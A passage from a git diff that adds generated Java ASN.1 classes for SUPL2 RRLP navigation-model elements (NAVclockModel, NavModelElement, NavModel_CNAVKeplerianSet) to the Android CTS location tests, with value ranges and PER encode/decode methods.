+
+ @Override public String toIndentedString(String indent) {
+ return "navTgd : "
+ + getNavTgd().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navTocType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navTocType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navTocType() {
+ super();
+ setValueRange("0", "37799");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navTocType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navTocType != null) {
+ return ImmutableList.of(TAG_navTocType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navTocType from encoded stream.
+ */
+ public static navTocType fromPerUnaligned(byte[] encodedBytes) {
+ navTocType result = new navTocType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navTocType from encoded stream.
+ */
+ public static navTocType fromPerAligned(byte[] encodedBytes) {
+ navTocType result = new navTocType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navTocType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navaf2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navaf2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navaf2Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navaf2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navaf2Type != null) {
+ return ImmutableList.of(TAG_navaf2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navaf2Type from encoded stream.
+ */
+ public static navaf2Type fromPerUnaligned(byte[] encodedBytes) {
+ navaf2Type result = new navaf2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navaf2Type from encoded stream.
+ */
+ public static navaf2Type fromPerAligned(byte[] encodedBytes) {
+ navaf2Type result = new navaf2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navaf2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navaf1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navaf1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navaf1Type() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navaf1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navaf1Type != null) {
+ return ImmutableList.of(TAG_navaf1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navaf1Type from encoded stream.
+ */
+ public static navaf1Type fromPerUnaligned(byte[] encodedBytes) {
+ navaf1Type result = new navaf1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navaf1Type from encoded stream.
+ */
+ public static navaf1Type fromPerAligned(byte[] encodedBytes) {
+ navaf1Type result = new navaf1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navaf1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navaf0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navaf0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navaf0Type() {
+ super();
+ setValueRange("-2097152", "2097151");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navaf0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navaf0Type != null) {
+ return ImmutableList.of(TAG_navaf0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navaf0Type from encoded stream.
+ */
+ public static navaf0Type fromPerUnaligned(byte[] encodedBytes) {
+ navaf0Type result = new navaf0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navaf0Type from encoded stream.
+ */
+ public static navaf0Type fromPerAligned(byte[] encodedBytes) {
+ navaf0Type result = new navaf0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navaf0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navTgdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navTgdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navTgdType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navTgdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navTgdType != null) {
+ return ImmutableList.of(TAG_navTgdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navTgdType from encoded stream.
+ */
+ public static navTgdType fromPerUnaligned(byte[] encodedBytes) {
+ navTgdType result = new navTgdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navTgdType from encoded stream.
+ */
+ public static navTgdType fromPerAligned(byte[] encodedBytes) {
+ navTgdType result = new navTgdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navTgdType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NAVclockModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModelElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModelElement.java
new file mode 100755
index 0000000..1178132
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModelElement.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NavModelElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NavModelElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NavModelElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NavModelElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NavModelElement != null) {
+ return ImmutableList.of(TAG_NavModelElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NavModelElement from encoded stream.
+ */
+ public static NavModelElement fromPerUnaligned(byte[] encodedBytes) {
+ NavModelElement result = new NavModelElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NavModelElement from encoded stream.
+ */
+ public static NavModelElement fromPerAligned(byte[] encodedBytes) {
+ NavModelElement result = new NavModelElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SatelliteID satelliteID_;
+ public SatelliteID getSatelliteID() {
+ return satelliteID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteID
+ */
+ public void setSatelliteID(Asn1Object value) {
+ this.satelliteID_ = (SatelliteID) value;
+ }
+ public SatelliteID setSatelliteIDToNewInstance() {
+ satelliteID_ = new SatelliteID();
+ return satelliteID_;
+ }
+
+ private SatStatus satStatus_;
+ public SatStatus getSatStatus() {
+ return satStatus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatStatus
+ */
+ public void setSatStatus(Asn1Object value) {
+ this.satStatus_ = (SatStatus) value;
+ }
+ public SatStatus setSatStatusToNewInstance() {
+ satStatus_ = new SatStatus();
+ return satStatus_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatelliteID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatelliteID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatelliteIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satelliteID : "
+ + getSatelliteID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatStatus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatStatus();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatStatusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatStatus.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satStatus : "
+ + getSatStatus().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NavModelElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java
new file mode 100755
index 0000000..bffca77
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_CNAVKeplerianSet.java
@@ -0,0 +1,2844 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NavModel_CNAVKeplerianSet extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NavModel_CNAVKeplerianSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NavModel_CNAVKeplerianSet() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NavModel_CNAVKeplerianSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NavModel_CNAVKeplerianSet != null) {
+ return ImmutableList.of(TAG_NavModel_CNAVKeplerianSet);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NavModel_CNAVKeplerianSet from encoded stream.
+ */
+ public static NavModel_CNAVKeplerianSet fromPerUnaligned(byte[] encodedBytes) {
+ NavModel_CNAVKeplerianSet result = new NavModel_CNAVKeplerianSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NavModel_CNAVKeplerianSet from encoded stream.
+ */
+ public static NavModel_CNAVKeplerianSet fromPerAligned(byte[] encodedBytes) {
+ NavModel_CNAVKeplerianSet result = new NavModel_CNAVKeplerianSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NavModel_CNAVKeplerianSet.cnavTopType cnavTop_;
+ public NavModel_CNAVKeplerianSet.cnavTopType getCnavTop() {
+ return cnavTop_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavTopType
+ */
+ public void setCnavTop(Asn1Object value) {
+ this.cnavTop_ = (NavModel_CNAVKeplerianSet.cnavTopType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavTopType setCnavTopToNewInstance() {
+ cnavTop_ = new NavModel_CNAVKeplerianSet.cnavTopType();
+ return cnavTop_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavURAindexType cnavURAindex_;
+ public NavModel_CNAVKeplerianSet.cnavURAindexType getCnavURAindex() {
+ return cnavURAindex_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavURAindexType
+ */
+ public void setCnavURAindex(Asn1Object value) {
+ this.cnavURAindex_ = (NavModel_CNAVKeplerianSet.cnavURAindexType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavURAindexType setCnavURAindexToNewInstance() {
+ cnavURAindex_ = new NavModel_CNAVKeplerianSet.cnavURAindexType();
+ return cnavURAindex_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavDeltaAType cnavDeltaA_;
+ public NavModel_CNAVKeplerianSet.cnavDeltaAType getCnavDeltaA() {
+ return cnavDeltaA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavDeltaAType
+ */
+ public void setCnavDeltaA(Asn1Object value) {
+ this.cnavDeltaA_ = (NavModel_CNAVKeplerianSet.cnavDeltaAType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavDeltaAType setCnavDeltaAToNewInstance() {
+ cnavDeltaA_ = new NavModel_CNAVKeplerianSet.cnavDeltaAType();
+ return cnavDeltaA_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavAdotType cnavAdot_;
+ public NavModel_CNAVKeplerianSet.cnavAdotType getCnavAdot() {
+ return cnavAdot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavAdotType
+ */
+ public void setCnavAdot(Asn1Object value) {
+ this.cnavAdot_ = (NavModel_CNAVKeplerianSet.cnavAdotType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavAdotType setCnavAdotToNewInstance() {
+ cnavAdot_ = new NavModel_CNAVKeplerianSet.cnavAdotType();
+ return cnavAdot_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavDeltaNoType cnavDeltaNo_;
+ public NavModel_CNAVKeplerianSet.cnavDeltaNoType getCnavDeltaNo() {
+ return cnavDeltaNo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavDeltaNoType
+ */
+ public void setCnavDeltaNo(Asn1Object value) {
+ this.cnavDeltaNo_ = (NavModel_CNAVKeplerianSet.cnavDeltaNoType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavDeltaNoType setCnavDeltaNoToNewInstance() {
+ cnavDeltaNo_ = new NavModel_CNAVKeplerianSet.cnavDeltaNoType();
+ return cnavDeltaNo_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavDeltaNoDotType cnavDeltaNoDot_;
+ public NavModel_CNAVKeplerianSet.cnavDeltaNoDotType getCnavDeltaNoDot() {
+ return cnavDeltaNoDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavDeltaNoDotType
+ */
+ public void setCnavDeltaNoDot(Asn1Object value) {
+ this.cnavDeltaNoDot_ = (NavModel_CNAVKeplerianSet.cnavDeltaNoDotType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavDeltaNoDotType setCnavDeltaNoDotToNewInstance() {
+ cnavDeltaNoDot_ = new NavModel_CNAVKeplerianSet.cnavDeltaNoDotType();
+ return cnavDeltaNoDot_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavMoType cnavMo_;
+ public NavModel_CNAVKeplerianSet.cnavMoType getCnavMo() {
+ return cnavMo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavMoType
+ */
+ public void setCnavMo(Asn1Object value) {
+ this.cnavMo_ = (NavModel_CNAVKeplerianSet.cnavMoType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavMoType setCnavMoToNewInstance() {
+ cnavMo_ = new NavModel_CNAVKeplerianSet.cnavMoType();
+ return cnavMo_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavEType cnavE_;
+ public NavModel_CNAVKeplerianSet.cnavEType getCnavE() {
+ return cnavE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavEType
+ */
+ public void setCnavE(Asn1Object value) {
+ this.cnavE_ = (NavModel_CNAVKeplerianSet.cnavEType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavEType setCnavEToNewInstance() {
+ cnavE_ = new NavModel_CNAVKeplerianSet.cnavEType();
+ return cnavE_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavOmegaType cnavOmega_;
+ public NavModel_CNAVKeplerianSet.cnavOmegaType getCnavOmega() {
+ return cnavOmega_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavOmegaType
+ */
+ public void setCnavOmega(Asn1Object value) {
+ this.cnavOmega_ = (NavModel_CNAVKeplerianSet.cnavOmegaType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavOmegaType setCnavOmegaToNewInstance() {
+ cnavOmega_ = new NavModel_CNAVKeplerianSet.cnavOmegaType();
+ return cnavOmega_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavOMEGA0Type cnavOMEGA0_;
+ public NavModel_CNAVKeplerianSet.cnavOMEGA0Type getCnavOMEGA0() {
+ return cnavOMEGA0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavOMEGA0Type
+ */
+ public void setCnavOMEGA0(Asn1Object value) {
+ this.cnavOMEGA0_ = (NavModel_CNAVKeplerianSet.cnavOMEGA0Type) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavOMEGA0Type setCnavOMEGA0ToNewInstance() {
+ cnavOMEGA0_ = new NavModel_CNAVKeplerianSet.cnavOMEGA0Type();
+ return cnavOMEGA0_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavDeltaOmegaDotType cnavDeltaOmegaDot_;
+ public NavModel_CNAVKeplerianSet.cnavDeltaOmegaDotType getCnavDeltaOmegaDot() {
+ return cnavDeltaOmegaDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavDeltaOmegaDotType
+ */
+ public void setCnavDeltaOmegaDot(Asn1Object value) {
+ this.cnavDeltaOmegaDot_ = (NavModel_CNAVKeplerianSet.cnavDeltaOmegaDotType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavDeltaOmegaDotType setCnavDeltaOmegaDotToNewInstance() {
+ cnavDeltaOmegaDot_ = new NavModel_CNAVKeplerianSet.cnavDeltaOmegaDotType();
+ return cnavDeltaOmegaDot_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavIoType cnavIo_;
+ public NavModel_CNAVKeplerianSet.cnavIoType getCnavIo() {
+ return cnavIo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavIoType
+ */
+ public void setCnavIo(Asn1Object value) {
+ this.cnavIo_ = (NavModel_CNAVKeplerianSet.cnavIoType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavIoType setCnavIoToNewInstance() {
+ cnavIo_ = new NavModel_CNAVKeplerianSet.cnavIoType();
+ return cnavIo_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavIoDotType cnavIoDot_;
+ public NavModel_CNAVKeplerianSet.cnavIoDotType getCnavIoDot() {
+ return cnavIoDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavIoDotType
+ */
+ public void setCnavIoDot(Asn1Object value) {
+ this.cnavIoDot_ = (NavModel_CNAVKeplerianSet.cnavIoDotType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavIoDotType setCnavIoDotToNewInstance() {
+ cnavIoDot_ = new NavModel_CNAVKeplerianSet.cnavIoDotType();
+ return cnavIoDot_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavCisType cnavCis_;
+ public NavModel_CNAVKeplerianSet.cnavCisType getCnavCis() {
+ return cnavCis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavCisType
+ */
+ public void setCnavCis(Asn1Object value) {
+ this.cnavCis_ = (NavModel_CNAVKeplerianSet.cnavCisType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavCisType setCnavCisToNewInstance() {
+ cnavCis_ = new NavModel_CNAVKeplerianSet.cnavCisType();
+ return cnavCis_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavCicType cnavCic_;
+ public NavModel_CNAVKeplerianSet.cnavCicType getCnavCic() {
+ return cnavCic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavCicType
+ */
+ public void setCnavCic(Asn1Object value) {
+ this.cnavCic_ = (NavModel_CNAVKeplerianSet.cnavCicType) value;
+ }
+ public NavModel_CNAVKeplerianSet.cnavCicType setCnavCicToNewInstance() {
+ cnavCic_ = new NavModel_CNAVKeplerianSet.cnavCicType();
+ return cnavCic_;
+ }
+
+ private NavModel_CNAVKeplerianSet.cnavCrsType cnavCrs_;
+ public NavModel_CNAVKeplerianSet.cnavCrsType getCnavCrs() {
+ return cnavCrs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_CNAVKeplerianSet.cnavCrsType
+ */
+ public void setCnavCrs(Asn1Object value) {
